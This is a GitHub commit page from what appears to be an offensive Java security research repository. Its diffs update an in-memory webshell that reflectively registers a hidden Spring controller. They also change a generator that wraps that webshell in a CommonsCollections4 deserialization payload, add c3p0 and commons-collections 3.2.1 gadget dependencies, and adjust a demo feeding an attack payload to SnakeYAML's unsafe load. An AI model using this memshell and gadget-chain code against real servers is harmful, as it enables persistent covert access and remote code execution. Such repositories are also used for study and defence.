Skip to content

Commit 593c612

Browse files
committed
update SpringControllerMemShell :)
1 parent bbbcf89 commit 593c612

File tree

4 files changed

+28
-6
lines changed

4 files changed

+28
-6
lines changed

MemShellAndRceEcho/JavaxTomcatDemo/pom.xml

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@
1515
<artifactId>tomcat-catalina</artifactId>
1616
<!-- <version>7.0.59</version>-->
1717
<!-- <version>7.0.109</version>-->
18-
<!-- <version>8.0.53</version>-->
19-
<version>8.5.82</version>
18+
<version>8.0.53</version>
19+
<!-- <version>8.5.82</version>-->
2020
<!-- <version>9.0.65</version>-->
2121
<!-- <version>10.0.23</version>-->
2222
</dependency>
@@ -41,12 +41,24 @@
4141
<artifactId>unboundid-ldapsdk</artifactId>
4242
<version>3.1.1</version>
4343
</dependency>
44-
4544
<dependency>
4645
<groupId>org.apache.commons</groupId>
4746
<artifactId>commons-collections4</artifactId>
4847
<version>4.0</version>
4948
</dependency>
49+
<dependency>
50+
<groupId>commons-collections</groupId>
51+
<artifactId>commons-collections</artifactId>
52+
<!--<version>3.1</version>-->
53+
<!-- <version>3.2</version>-->
54+
<version>3.2.1</version>
55+
<!-- <version>3.2.2</version>-->
56+
</dependency>
57+
<dependency>
58+
<groupId>com.mchange</groupId>
59+
<artifactId>c3p0</artifactId>
60+
<version>0.9.5.2</version>
61+
</dependency>
5062

5163
<dependency>
5264
<groupId>org.ppp.tools</groupId>

MemShellAndRceEcho/SpringDemo/src/main/java/com/example/memshell/SpringControllerMemShell.java

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ public SpringControllerMemShell() {
4646
List<String> urls = new ArrayList();
4747
while (urlIterator.hasNext()) {
4848
String urlPath = (String) urlIterator.next();
49-
if (PATTERN.equals(urlPath)) {
49+
if (NAME.equals(urlPath)) {
5050
return;
5151
}
5252
}
@@ -57,6 +57,9 @@ public SpringControllerMemShell() {
5757
configField.setAccessible(true);
5858
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration)configField.get(mapping);
5959
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(new String[]{PATTERN}).options(config).build();
60+
Field field1 = requestMappingInfo.getClass().getDeclaredField("name");
61+
field1.setAccessible(true);
62+
field1.set(requestMappingInfo, NAME);
6063

6164
// 避免循环
6265
SpringControllerMemShell springControllerMemShell = new SpringControllerMemShell(NAME);

MemShellAndRceEcho/SpringDemo/src/main/java/com/example/utils/PayloadMake.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
*/
1111
public class PayloadMake {
1212
public static void main(String[] args) throws Exception{
13-
Class cls = SpringEcho.class;
13+
Class cls = SpringControllerMemShell.class;
1414
CC4Generator cc4Generator = new CC4Generator();
1515
String payload = cc4Generator.make(cls);
1616
System.out.println(payload.length());

Serialization/SnakeyamlDemo/src/main/java/com/ppp/AttackDemo.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,13 @@ public static void main(String[] args) {
3434

3535

3636
Yaml yaml = new Yaml();
37-
yaml.load(c3p0Hex);
37+
yaml.load(jar);
38+
39+
// Iterable<Object> objects = yaml.loadAll(jar);
40+
// for (Object object : objects) {
41+
// System.out.println(object);
42+
// }
43+
44+
3845
}
3946
}

0 commit comments

Comments
 (0)